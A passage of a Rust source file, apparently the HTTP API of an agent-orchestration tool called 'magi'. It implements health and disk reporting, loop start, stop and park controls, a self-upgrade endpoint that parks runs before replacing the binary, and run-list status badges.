2625/// trusting whatever was true the moment the park was requested.
2626fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2627    let now = Timestamp::now();
2628    let lease = updater::read_lease(&ui.home);
2629    let alive = updater::live_lease(&progress, lease.as_ref(), now);
2630    let run_id = alive
2631        .and_then(|l| l.parked_run.as_deref())
2632        .or(progress.parked_run.as_deref());
2633    let parking = progress.stage == updater::Stage::Parking;
2634    let waited = alive.map_or_else(String::new, |l| {
2635        let secs = updater::waited_secs(l, now);
2636        format!(" (waited {} min so far)", secs / 60)
2637    });
2638    let run_text = run_id
2639        .filter(|_| parking)
2640        .map(|id| match read_run(&ui.runs, id).ok() {
2641            Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2642            None => format!("run {id} is finishing"),
2643        });
2644    let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2645        .filter(|t| parking && !t.is_empty())
2646        .map(|t| format!("{t} finishing"));
2647    let waiting_on = match (run_text, talks_text) {
2648        (None, None) => None,
2649        (run, talks) => {
2650            let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2651            Some(format!(
2652                "{} before the address is handed over{waited}",
2653                parts.join(" and ")
2654            ))
2655        }
2656    };
2657    let detail = progress
2658        .detail
2659        .clone()
2660        .or_else(|| updater::read_note(&ui.home, &progress));
2661    let stalled = updater::stall(&progress, lease.as_ref(), now);
2662    let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2663    UpgradeProgressView {
2664        stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2665        stuck_kind: stalled.map(|s| s.kind),
2666        handover_alive: alive.is_some(),
2667        stage: progress.stage,
2668        from: progress.from,
2669        to: progress.to,
2670        waiting_on,
2671        started_at: progress.started_at,
2672        updated_at: progress.updated_at,
2673        detail,
2674    }
2675}
2676
2677/// The disk figures `/api/health` carries. Every number is produced by
2678/// [`crate::disk`], the same code that decides a run may not start, so the
2679/// health screen and the gate cannot disagree about what the machine looks
2680/// like.
2681#[derive(Debug, Serialize)]
2682struct DiskView {
2683    /// Free bytes on the volume holding the runs, when measurable.
2684    #[serde(skip_serializing_if = "Option::is_none")]
2685    free_bytes: Option<u64>,
2686    /// Everything the runs directory occupies, unreadable runs included.
2687    runs_bytes: u64,
2688    /// Everything the runs' worktrees occupy.
2689    worktrees_bytes: u64,
2690    /// The shared build cache's size, when the config names one.
2691    #[serde(skip_serializing_if = "Option::is_none")]
2692    cache_bytes: Option<u64>,
2693    /// Last bounded cleanup report, including retention and failure reasons.
2694    retention: Option<crate::retention::Report>,
2695}
2696
2697impl DiskView {
2698    /// Measure the three directories and re-read the config's cache.
2699    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2700        let cache_bytes = cfg
2701            .and_then(|cfg| cfg.cache_dir())
2702            .map(|dir| crate::disk::dir_size(&dir));
2703        Self {
2704            free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2705            runs_bytes: crate::disk::dir_size(&ui.runs),
2706            worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2707            cache_bytes,
2708            retention: ui
2709                .runs
2710                .parent()
2711                .and_then(|home| std::fs::read(home.join("retention.json")).ok())
2712                .and_then(|bytes| serde_json::from_slice(&bytes).ok()),
2713        }
2714    }
2715}
2716
2717/// The daemon's state as the UI presents it.
2718#[derive(Debug, Serialize)]
2719struct DaemonView {
2720    running: bool,
2721    idle: Option<bool>,
2722    pid: Option<u32>,
2723    /// Every task and run currently in flight. Empty when idle; more than
2724    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
2725    /// run going at once.
2726    current: Vec<daemon::Current>,
2727    completed: Option<u64>,
2728    stale_for_secs: Option<i64>,
2729}
2730
2731impl DaemonView {
2732    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
2733    /// not this UI's — a crashed daemon must not look alive here while
2734    /// `doctor` calls it dead.
2735    fn of(status: Option<daemon::Reading>) -> Self {
2736        let Some(status) = status else {
2737            return Self {
2738                running: false,
2739                idle: None,
2740                pid: None,
2741                current: Vec::new(),
2742                completed: None,
2743                stale_for_secs: None,
2744            };
2745        };
2746        let now = Timestamp::now();
2747        let age = status.age_secs(now);
2748        Self {
2749            running: status.running(now),
2750            idle: Some(status.idle),
2751            pid: status.pid,
2752            current: status.current,
2753            completed: Some(status.completed),
2754            stale_for_secs: age,
2755        }
2756    }
2757}
2758
2759async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2760    let revisions = ui.monitor.revisions(&ui).await?;
2761    blocking(move || {
2762        // One read of the status file for the two fields that describe it, so
2763        // `daemon` and `loop` in the same answer cannot disagree about who is
2764        // running the loop.
2765        let reading = daemon::read_status(&ui.home);
2766        // Read on its own line, not inside the literal below: the loop's lock
2767        // is not reentrant, and a guard taken as a temporary there would still
2768        // be held when `loop_view` took it again.
2769        let loop_rev = ui.lock_loop().rev;
2770        // One discover for both views: each is a few git processes plus a
2771        // config render, and neither depends on anything the other reads.
2772        let cfg = deputy_config(&ui.repo);
2773        let update = cached_update_view(cfg.as_ref());
2774        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2775        let questions = ui.questions.list();
2776        Ok(Json(HealthView {
2777            version: env!("CARGO_PKG_VERSION"),
2778            home: ui.home.display().to_string(),
2779            queue_rev: revisions.0,
2780            runs_rev: revisions.1,
2781            questions_rev: revisions.2,
2782            talks_rev: revisions.3,
2783            notifications_rev: stamps_revision(
2784                &try_stamps(ui.notices.root(), false, true).map_err(anyhow::Error::from)?,
2785            ),
2786            notifications_unread: ui.notices.count_unread(),
2787            loop_rev,
2788            runs_unreadable: runs_unreadable(&ui.runs),
2789            questions_open: questions.iter().filter(|q| q.status.open()).count(),
2790            questions_needs_owner: questions
2791                .iter()
2792                .filter(|q| {
2793                    q.status.open() && (!q.waiting_on_agent() || ui.questions.deputy_exhausted(q))
2794                })
2795                .count(),
2796            daemon: DaemonView::of(reading.clone()),
2797            looping: ui.loop_view(reading),
2798            disk: DiskView::of(&ui, cfg.as_ref()),
2799            update,
2800            upgrade,
2801            upgrade_request_error: ui
2802                .upgrade_request_error
2803                .lock()
2804                .unwrap_or_else(PoisonError::into_inner)
2805                .clone(),
2806        }))
2807    })
2808    .await
2809}
2810
2811/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
2812#[derive(Debug, Serialize)]
2813struct LoopView {
2814    /// A loop is running in *this* process.
2815    running: bool,
2816    /// It has been asked to stop and is still finishing a run.
2817    ///
2818    /// [`daemon::Stop::finishing`]'s answer rather than "the flag is set",
2819    /// because the two differ exactly where it matters: a loop asked to stop
2820    /// while idle is gone within one poll interval, and one asked to stop
2821    /// mid-run keeps going for as long as the graph takes. The operator needs
2822    /// to be told which of those they are waiting for.
2823    stopping: bool,
2824    /// A park was asked for: the run in flight stops at its next node
2825    /// boundary rather than finishing.
2826    ///
2827    /// Separate from `stopping` because the two promise different waits. A
2828    /// stop is "when this competition ends", which can be an hour; a park is
2829    /// "after the step it is on", which is minutes and is what an operator
2830    /// waiting to replace the binary needs to see.
2831    parking: bool,
2832    /// The loop is this process's own.
2833    ///
2834    /// Spelled separately from `running` for the front end's sake, even
2835    /// though inside this process the two move together: `running: false`
2836    /// with `daemon.running: true` is the case where the operator's own `magi
2837    /// serve` owns the loop, and `owned` is the field that tells the UI its
2838    /// buttons have to explain that rather than pretend.
2839    owned: bool,
2840    /// Repository the loop uses for tasks that name none - what it was
2841    /// started with while it runs, and what a start would use before that.
2842    repo: String,
2843    /// Merge mode override in force, or `null` when each repository's own
2844    /// config decides.
2845    merge: Option<String>,
2846    /// Why the last loop in this process ended, when it ended badly.
2847    ///
2848    /// The only place a crashed loop is visible to someone holding a phone.
2849    /// It is logged at error level as well, but a terminal nobody kept open
2850    /// is not a report, and a loop that died at 3am must not read as merely
2851    /// stopped in the morning. Named as [`Task::last_error`] is, because it
2852    /// answers the same question about the same kind of failure.
2853    last_error: Option<String>,
2854    /// The status file, judged the same way `/api/health` judges it: this is
2855    /// what says whether a loop is alive in some *other* process.
2856    daemon: DaemonView,
2857}
2858
2859/// A loop another process already owns.
2860///
2861/// `<home>/daemon.json` is the only cross-process signal there is, so this is
2862/// the whole of the test: a heartbeat no older than [`daemon::STALE_SECS`],
2863/// published by a pid that is not ours. Excluding our own pid is what makes
2864/// stopping work at all - the loop this process runs writes that file too, so
2865/// a check that ignored the pid would decide the operator's own UI was a
2866/// stranger and refuse to stop the loop it had just started.
2867#[derive(Debug, Clone, Copy)]
2868struct Foreign {
2869    /// The pid the other process published, when it published one.
2870    pid: Option<u32>,
2871}
2872
2873impl Foreign {
2874    /// Another process's live loop, or `None` when this process is free to
2875    /// run one.
2876    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2877        // A fresh heartbeat with no pid in it is still evidence of a live
2878        // daemon. "Some other process" is the honest answer, and refusing
2879        // to start beside it is the safe one.
2880        daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2881    }
2882
2883    /// How a conflict names it. The pid is the whole point of the message: it
2884    /// is what the operator needs to find the terminal that owns the loop.
2885    fn who(&self) -> String {
2886        match self.pid {
2887            Some(pid) => format!("another magi process (pid {pid})"),
2888            None => "another magi process".to_owned(),
2889        }
2890    }
2891}
2892
2893/// How a loop is started, as a future this module can hold onto.
2894///
2895/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
2896/// trait object or a hand-written `Debug` impl for the sake of one seam.
2897type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2898
2899/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
2900fn launch_daemon(
2901    opts: daemon::Opts,
2902    stop: daemon::Stop,
2903) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2904    Box::pin(daemon::serve_until(opts, stop))
2905}
2906
2907/// The loop this process runs, behind one lock.
2908#[derive(Debug, Default)]
2909struct LoopState {
2910    /// The loop, while there is one.
2911    live: Option<Live>,
2912    /// Bumped on every change to this struct, and streamed as `loop_rev`.
2913    ///
2914    /// The loop is in-process state rather than a file, so nothing on disk
2915    /// would tell a second phone that the first one started it. Without this
2916    /// counter the only way to learn about a start, a stop request or a crash
2917    /// would be to poll `/api/loop`, which is the thing the change stream
2918    /// exists to avoid on a mobile link.
2919    rev: u64,
2920    /// Why the last loop ended, when it ended badly. See
2921    /// [`LoopView::last_error`].
2922    last_error: Option<String>,
2923    /// The loop was running (and not already stopping) when the last upgrade
2924    /// parked it, so the successor should start one. Set afresh by every
2925    /// [`Ui::park_for_upgrade`], cleared by an explicit stop and by a failed
2926    /// update.
2927    resume_after_handover: bool,
2928}
2929
2930/// A loop in flight.
2931#[derive(Debug)]
2932struct Live {
2933    /// The cooperative stop, shared with the loop task.
2934    stop: daemon::Stop,
2935    /// The task itself, kept only to answer whether it is still there: a loop
2936    /// that panicked never records its own end, and without this the view
2937    /// would go on reporting a loop that no longer exists - the one lie that
2938    /// would leave the operator with no button to press.
2939    handle: tokio::task::JoinHandle<()>,
2940    /// What the loop was started with, so the view reports the repository and
2941    /// merge mode its runs will actually use rather than what an edit to the
2942    /// config since would give.
2943    opts: daemon::Opts,
2944}
2945
2946impl Live {
2947    /// Is the task still there? See [`Live::handle`].
2948    fn alive(&self) -> bool {
2949        !self.handle.is_finished()
2950    }
2951}
2952
2953/// Take the loop lock, recovering from a poisoned one.
2954///
2955/// What this mutex holds is a stop flag, a task handle and two counters, none
2956/// of which a panic elsewhere can leave in a state worth refusing to read.
2957/// Propagating the poison instead would mean an operator who can see the loop
2958/// running and can no longer stop it from the only surface they have.
2959fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2960    state.lock().unwrap_or_else(PoisonError::into_inner)
2961}
2962
2963/// `GET /api/loop`.
2964async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2965    blocking(move || {
2966        let reading = daemon::read_status(&ui.home);
2967        Ok(Json(ui.loop_view(reading)))
2968    })
2969    .await
2970}
2971
2972/// The body of `POST /api/loop`.
2973///
2974/// One required field and nothing else: no `default` and no unknown fields,
2975/// so a body that fails to say which way the switch was flipped is a 400
2976/// rather than a tap that quietly does the opposite of what was pressed.
2977#[derive(Debug, Deserialize)]
2978#[serde(deny_unknown_fields)]
2979struct LoopCommand {
2980    running: bool,
2981    /// Stop the run in flight at its next node boundary rather than letting it
2982    /// finish.
2983    ///
2984    /// Defaults to false, so the plain stop keeps meaning what it meant: a
2985    /// competition is tens of minutes of paid work and finishing it is
2986    /// normally the cheapest thing to do. A park is for the operator who
2987    /// wants the process gone now - to replace the binary, most of all - and
2988    /// it costs at most the node in progress because every node writes its
2989    /// state before the next one starts.
2990    #[serde(default)]
2991    park: bool,
2992}
2993
2994/// `POST /api/loop` - start the loop in this process, or ask it to stop.
2995///
2996/// Answers with the view rather than waiting for the loop to reach the state
2997/// that was asked for. Starting is immediate anyway; stopping is not, and the
2998/// wait is a run's worth of minutes, which is not a thing to hold a phone's
2999/// request open for. `stopping` in the answer is what the operator watches
3000/// instead.
3001async fn loop_post(
3002    State(ui): State<Arc<Ui>>,
3003    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
3004) -> ApiResult<Json<LoopView>> {
3005    // Taken as a `Result` so a malformed body is a 400 like every other route
3006    // here, rather than axum's default 422 that the UI has no branch for.
3007    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3008    blocking(move || {
3009        let reading = daemon::read_status(&ui.home);
3010        let foreign = Foreign::of(reading.as_ref());
3011        if body.running {
3012            ui.start_loop(foreign)?;
3013        } else {
3014            ui.stop_loop(foreign, body.park)?;
3015        }
3016        Ok(Json(ui.loop_view(reading)))
3017    })
3018    .await
3019}
3020
3021/// What `POST /api/upgrade` set in motion.
3022#[derive(Debug, Serialize)]
3023struct UpgradeView {
3024    /// The version this process is running.
3025    from: String,
3026    /// The release it is replacing itself with, when there is one.
3027    to: Option<String>,
3028    /// A run was parked first, and this is its id.
3029    parked: Option<String>,
3030    /// What the operator should expect to happen next.
3031    detail: String,
3032}
3033
3034/// The stage of an upgrade that is still moving, if the record says so.
3035/// Mirrors `UPGRADE_BUSY_STAGES` in `assets/ui/app.js`.
3036fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
3037    progress.filter(|p| !p.stage.terminal())
3038}
3039
3040/// Retry timing extracted only from kaishin's known rate-limit diagnostics.
3041/// Unknown diagnostics retain their complete message without guessing a delay.
3042fn upgrade_retry_after(message: &str) -> Option<u64> {
3043    if !message.contains("GitHub") || !message.contains("rate limit") {
3044        return None;
3045    }
3046    if message.contains("retry now") {
3047        return Some(0);
3048    }
3049    let duration = message
3050        .split_once("resets in ")
3051        .or_else(|| message.split_once("retry after "))?
3052        .1
3053        .split_once(')')?
3054        .0;
3055    let mut rest = duration.trim();
3056    if rest.is_empty() {
3057        return None;
3058    }
3059    let mut total = 0u64;
3060    while !rest.is_empty() {
3061        let n = rest.find(|c: char| !c.is_ascii_digit())?;
3062        let amount: u64 = rest[..n].parse().ok()?;
3063        let scale = match rest[n..].chars().next()? {
3064            's' => 1,
3065            'm' => 60,
3066            'h' => 3600,
3067            'd' => 86400,
3068            _ => return None,
3069        };
3070        total = total.checked_add(amount.checked_mul(scale)?)?;
3071        rest = rest[n + 1..].trim_start();
3072    }
3073    Some(total)
3074}
3075
3076#[derive(Debug, Clone, Serialize)]
3077struct UpgradeRequestFailure {
3078    occurred_at: String,
3079    error: String,
3080    retry_after_secs: Option<u64>,
3081    /// Unix seconds; independent of the phone's polling cadence.
3082    retry_at: Option<u64>,
3083}
3084
3085impl UpgradeRequestFailure {
3086    fn new(error: String) -> Self {
3087        let retry_after_secs = upgrade_retry_after(&error);
3088        let now = std::time::SystemTime::now()
3089            .duration_since(std::time::UNIX_EPOCH)
3090            .unwrap_or_default()
3091            .as_secs();
3092        Self {
3093            occurred_at: jiff::Timestamp::now().to_string(),
3094            error,
3095            retry_after_secs,
3096            retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
3097        }
3098    }
3099}
3100
3101/// `POST /api/upgrade` - replace this binary with the newest release and come
3102/// back on it.
3103///
3104/// The one thing the deck could not do for itself. Every fix landed today
3105/// either waited for a competition to end or went in with the deck stopped,
3106/// because `cargo install` cannot overwrite a running executable on Windows.
3107/// `kaishin` can: `self_replace` **renames** the running image aside and puts
3108/// the new one in its place, so the swap itself needs no downtime. Only the
3109/// restart does, and the order is the whole design:
3110///
3111/// 1. **Park.** A run in flight stops at its next node boundary and stays
3112///    resumable, so this costs at most the node in progress rather than the
3113///    competition. Without it the honest choices were waiting an hour or
3114///    discarding paid agent work.
3115/// 2. **Replace.** The new binary goes into place while this one still runs.
3116/// 3. **Hand over.** [`serve`] drops the listener, *then* spawns the
3117///    successor - see [`spawn_successor`] for what happens in the other
3118///    order.
3119/// 4. **Resume.** The next loop carries the parked run on rather than
3120///    competing again; see `daemon::attempt`.
3121///
3122/// Answers **202**: the reply has to reach the phone while this process can
3123/// still send one, and the phone learns the deck is back by reconnecting.
3124async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
3125    let reading = daemon::read_status(&ui.home);
3126    if let Some(other) = Foreign::of(reading.as_ref()) {
3127        return ApiError::conflict(format!(
3128            "the loop belongs to {}, so replacing this binary would leave \
3129             that process running an old one against the same queue. Upgrade \
3130             where it was started.",
3131            other.who()
3132        ))
3133        .into_response();
3134    }
3135
3136    // A second upgrade while one is moving would replace the binary and
3137    // signal the handover again after `serve` already consumed the first
3138    // signal, leaving the process in `replaced` forever. Try-lock rather than
3139    // wait: a phone connection must not hang behind a GitHub round trip.
3140    let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
3141        return ApiError::conflict("another request is already preparing an upgrade")
3142            .into_response();
3143    };
3144    // Hold the same gate through recording/clearing the request outcome, so
3145    // an older response cannot overwrite a retry's result.
3146    finish_upgrade_request(&ui, upgrade_prepare(&ui).await)
3147}
3148
3149fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
3150    match result {
3151        Ok(out) => {
3152            *ui.upgrade_request_error
3153                .lock()
3154                .unwrap_or_else(PoisonError::into_inner) = None;
3155            out.into_response()
3156        }
3157        Err(error) if error.status != StatusCode::CONFLICT => {
3158            let failure = UpgradeRequestFailure::new(error.message);
3159            *ui.upgrade_request_error
3160                .lock()
3161                .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
3162            let mut response = (error.status, Json(&failure)).into_response();
3163            if let Some(value) = failure
3164                .retry_after_secs
3165                .and_then(|secs| secs.to_string().parse().ok())
3166            {
3167                response.headers_mut().insert("retry-after", value);
3168            }
3169            response
3170        }
3171        Err(error) => error.into_response(),
3172    }
3173}
3174
3175async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3176    if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
3177        return Err(ApiError::conflict(
3178            "an upgrade is already in progress (this process started one and it \
3179             has not finished or failed yet)",
3180        ));
3181    }
3182    let recorded = updater::read_progress(&ui.home);
3183    if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
3184        return Err(ApiError::conflict(format!(
3185            "an upgrade is already in progress (stage: {}, {} -> {}). If it \
3186             stays stuck, restart the deck; on start it settles a stale record.",
3187            p.stage.as_str(),
3188            p.from,
3189            p.to.as_deref().unwrap_or("?"),
3190        )));
3191    }
3192
3193    // The same kill switch the background check honours (`disabled_by_env`),
3194    // checked before anything else for the same reason it is read before the
3195    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
3196    // contact GitHub from this process", and a button press must not
3197    // override that any more than a broken `magi.toml` may.
3198    if crate::updater::disabled_by_env() {
3199        return Ok((
3200            StatusCode::OK,
3201            Json(UpgradeView {
3202                from: env!("CARGO_PKG_VERSION").to_owned(),
3203                to: None,
3204                parked: None,
3205                detail: format!(
3206                    "Automatic updates are disabled by {}. Nothing was parked \
3207                     and nothing restarted.",
3208                    crate::updater::NO_AUTOUPDATE_ENV
3209                ),
3210            }),
3211        ));
3212    }
3213
3214    // Asked before anything is disturbed. Restarting when there is nothing
3215    // to install is not a harmless no-op: it parks the run in flight and
3216    // drops every connection to pay for an upgrade that did not happen. A
3217    // probe against a deck already on the newest build did exactly that.
3218    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
3219    let from = env!("CARGO_PKG_VERSION").to_owned();
3220    let latest = match crate::updater::Checker::new(&cfg.update) {
3221        Some(checker) => checker.newer_release().await,
3222        None => Ok(None),
3223    };
3224    upgrade_checked(ui, from, latest)
3225}
3226
3227fn upgrade_checked(
3228    ui: &Arc<Ui>,
3229    from: String,
3230    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3231) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3232    let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
3233    let Some(latest) = latest else {
3234        return Ok((
3235            StatusCode::OK,
3236            Json(UpgradeView {
3237                from,
3238                to: None,
3239                parked: None,
3240                detail: "Already on the newest release. Nothing was parked \
3241                         and nothing restarted."
3242                    .to_owned(),
3243            }),
3244        ));
3245    };
3246
3247    // Parked before anything is replaced: a successor that came up while a
3248    // run was mid-node would find a run nobody is driving.
3249    let parked = ui.park_for_upgrade(&from, Some(latest.tag_name.as_str()))?;
3250    let detail = match &parked {
3251        // Honest about the wait. A park takes effect at the *next* node
3252        // boundary, so a run mid-implement finishes that wave first - up to
3253        // `timeout_implement`, an hour by default. Saying "restarting now"
3254        // would make the deck look wedged for the rest of it.
3255        Some(run) => format!(
3256            "Run {} is parking at its next step, which can take as long as \
3257             the step it is on - up to an hour for an implement wave. The \
3258             deck replaces itself once it parks, comes back, and the loop \
3259             carries that run on from where it stopped. Nothing is lost if \
3260             you close this.",
3261            crate::run::short_of(run)
3262        ),
3263        None => "The deck replaces itself and comes back. Nothing was in \
3264                 flight to park."
3265            .to_owned(),
3266    };
3267
3268    // Recorded before the spawn, not inside it: the phone's next `/api/health`
3269    // poll must see a `Downloading` stage immediately, not whenever the
3270    // spawned task happens to get scheduled.
3271    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
3272    progress.parked_run = parked.clone();
3273    // A failed write is logged, not returned: the loop is already parked
3274    // above, and bailing out here would leave it parked with no upgrade
3275    // spawned to hand over or resume it.
3276    updater::write_progress_logged(&ui.home, &progress);
3277
3278    let home = ui.home.clone();
3279    let looping = ui.looping();
3280    ui.upgrade_spawned
3281        .store(true, std::sync::atomic::Ordering::SeqCst);
3282    let spawned = Arc::clone(&ui.upgrade_spawned);
3283    tokio::spawn(async move {
3284        if let Err(e) = upgrade_and_restart(home.clone()).await {
3285            tracing::error!("the upgrade did not complete: {e:#}");
3286            lock_or_recover(&looping).resume_after_handover = false;
3287            // A failure of this attempt says nothing about a handover an
3288            // earlier request already has in flight; checked and written
3289            // under the progress lock.
3290            let _ = updater::fail_progress(&home, &format!("{e:#}"));
3291            // Released last: until the cleanup above is done, a retry must
3292            // not be able to park and record state this would then undo.
3293            spawned.store(false, std::sync::atomic::Ordering::SeqCst);
3294        }
3295    });
3296
3297    Ok((
3298        StatusCode::ACCEPTED,
3299        Json(UpgradeView {
3300            from,
3301            to: Some(latest.tag_name),
3302            parked,
3303            detail,
3304        }),
3305    ))
3306}
3307
3308/// Replace the binary, then ask [`serve`] to hand the address over.
3309///
3310/// Separated from the handler so the 202 is already on its way, and separated
3311/// from the spawn so the successor starts only after the listener is dropped.
3312async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
3313    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
3314    // hang the upgrade for as long as the process lives.
3315    crate::updater::run_self_update(true, false, true).await?;
3316    updater::log_step(&home, "binary replaced - recording the replaced stage");
3317    if let Some(mut progress) = updater::read_progress(&home) {
3318        progress.advance(updater::Stage::Replaced);
3319        updater::write_progress_logged(&home, &progress);
3320    }
3321    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
3322    HANDOVER.notify_one();
3323    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
3324    Ok(())
3325}
3326
3327/// One row in the run list.
3328///
3329/// The list route returns this rather than whole `RunState`s: the summary of a
3330/// run is a few hundred bytes and the state is megabytes, and the difference
3331/// is what makes the history usable on a mobile link.
3332#[derive(Debug, Serialize)]
3333struct RunSummary {
3334    id: String,
3335    short: String,
3336    status: String,
3337    done: bool,
3338    instruction: String,
3339    title: String,
3340    repo: String,
3341    repo_name: String,
3342    created_at: String,
3343    updated_at: String,
3344    candidates: usize,
3345    viable: usize,
3346    judges: usize,
3347    winner: Option<char>,
3348    reviews: usize,
3349    quota_losses: usize,
3350    event: Option<String>,
3351    /// The later attempt at the same task that replaced this one, if any.
3352    ///
3353    /// Two cards with one title is otherwise unreadable: this is what lets
3354    /// the deck say "superseded by 4043" on the older of the pair.
3355    superseded_by: Option<String>,
3356    /// Blocked on a question nobody has answered.
3357    ///
3358    /// Derived from the question store rather than stored on the run: an agent
3359    /// calling `magi ask` blocks mid-node, and writing a status from there
3360    /// would race the graph's own save of `run.json` and be overwritten at the
3361    /// next node boundary. Asking the store is always true and never races.
3362    waiting: bool,
3363    /// Whether the process recorded as driving this run can still be proven
3364    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
3365    /// rather than presenting its last graph node as still in flight.
3366    live: crate::run::Liveness,
3367    /// The land loop's last look at the pull request, when there is one.
3368    pr: Option<crate::run::PrRecord>,
3369    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
3370    /// design — never picked up by the PR-polling merge watcher, unlike an
3371    /// ordinary `Ready` that may still be a live landing candidate. See
3372    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
3373    /// re-deriving the same check from `status` and `merge.mode` itself.
3374    unmerged_by_design: bool,
3375    /// Derived presentation status matching [`RunDetailView::display_status`].
3376    /// Distinguishes parked runs, crashes, and waiting states from raw node statuses.
3377    #[serde(default)]
3378    display_status: String,
3379    /// What the status badge shows: `display_status`, or `superseded` for a
3380    /// non-live run a later attempt replaced. See [`run_badge_status`].
3381    #[serde(default)]
3382    badge_status: String,
3383    /// Who started the run, as the one label every surface shares; the
3384    /// "origin unknown" wording when the record predates origins.
3385    origin_label: String,
3386}
3387
3388impl RunSummary {
3389    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
3390        Self {
3391            id: state.id.clone(),
3392            short: state.short().to_owned(),
3393            status: status_word(state.status),
3394            done: state.status.done(),
3395            unmerged_by_design: state.unmerged_by_design(),
3396            display_status: run_display_status(state, waiting, live),
3397            badge_status: run_display_status(state, waiting, live),
3398            instruction: state.instruction.clone(),
3399            title: title_from(&state.instruction, TITLE_MAX),
3400            repo: state.repo.display().to_string(),
3401            repo_name: state
3402                .repo
3403                .file_name()
3404                .map(|n| n.to_string_lossy().into_owned())
3405                .unwrap_or_default(),
3406            created_at: state.created_at.to_string(),
3407            updated_at: state.updated_at.to_string(),
3408            candidates: state.candidates.len(),
3409            viable: state.viable().len(),
3410            judges: state.config.graph.judges,
3411            winner: state.winner().map(|c| c.label),
3412            reviews: state.reviews.len(),
3413            quota_losses: state.quota.len(),
3414            event: state.events.last().map(|e| e.message.clone()),
3415            waiting,
3416            live,
3417            // Filled in by the list route, which is the only place that can
3418            // see a task's other attempts.
3419            superseded_by: None,
3420            pr: state.pr.clone(),
3421            origin_label: crate::run::origin_label(state.origin.as_ref()),
3422        }
3423    }
3424}
3425
3426/// `RunStatus` as the wire spells it. Every variant is one word, so this is
3427/// the same string `serde` writes for the status inside a full run.
3428fn status_word(status: RunStatus) -> String {
3429    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
3430    // was a third way of naming the same statuses, and one that changed
3431    // silently with a derive.
3432    status.as_str().to_owned()
3433}
3434
3435/// The presentation status for a run, unified across summaries and details.
3436///
3437/// Distinguishes runs that stopped deliberately at a node boundary (`"parked"`)
3438/// from genuine driver crashes (`"stale"`), while preserving `"waiting"` for
3439/// runs awaiting operator answers.
3440fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
3441    if waiting {
3442        return "waiting".to_owned();
3443    }
3444    if state.unmerged_by_design() {
3445        return "unmerged".to_owned();
3446    }
3447    if !state.status.done() && live == crate::run::Liveness::Dead {
3448        // The driver claim clears this flag before saving another event.
3449        // A previous park event can therefore outlive a resumed driver.
3450        if state.parked {
3451            return "parked".to_owned();
3452        }
3453        return "stale".to_owned();
3454    }
3455    status_word(state.status)
3456}
3457
3458/// The word a run's status badge shows: `display_status`, except that a
3459/// non-terminal run which is not provably live and was replaced by a later
3460/// attempt reads `superseded`, and a confirmed-dead one reads `stale`.
3461///
3462/// Same judgement `magi show` uses (`RunState::liveness`, the task's
3463/// successor); a live driver, `Unknown` liveness and terminal runs keep their
3464/// own word, so superseded never claims more than "not live".
3465fn run_badge_status(
3466    state: &RunState,
3467    display_status: &str,
3468    live: crate::run::Liveness,
3469    superseded: bool,
3470) -> String {
3471    if state.status.done() || live == crate::run::Liveness::Live {
3472        return display_status.to_owned();
3473    }
3474    if superseded {
3475        return "superseded".to_owned();
3476    }
3477    // A dead run's `display_status` is `stale`, except that a deliberate park
3478    // and an open owner question keep their own word: neither is a crash, and
3479    // the question still needs an answer. Anything else dead reads `stale`.
3480    if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
3481        return "stale".to_owned();
3482    }
3483    display_status.to_owned()
3484}
3485
3486/// `?limit=`, clamped by the handler.
3487#[derive(Debug, Deserialize)]
3488struct ListQuery {
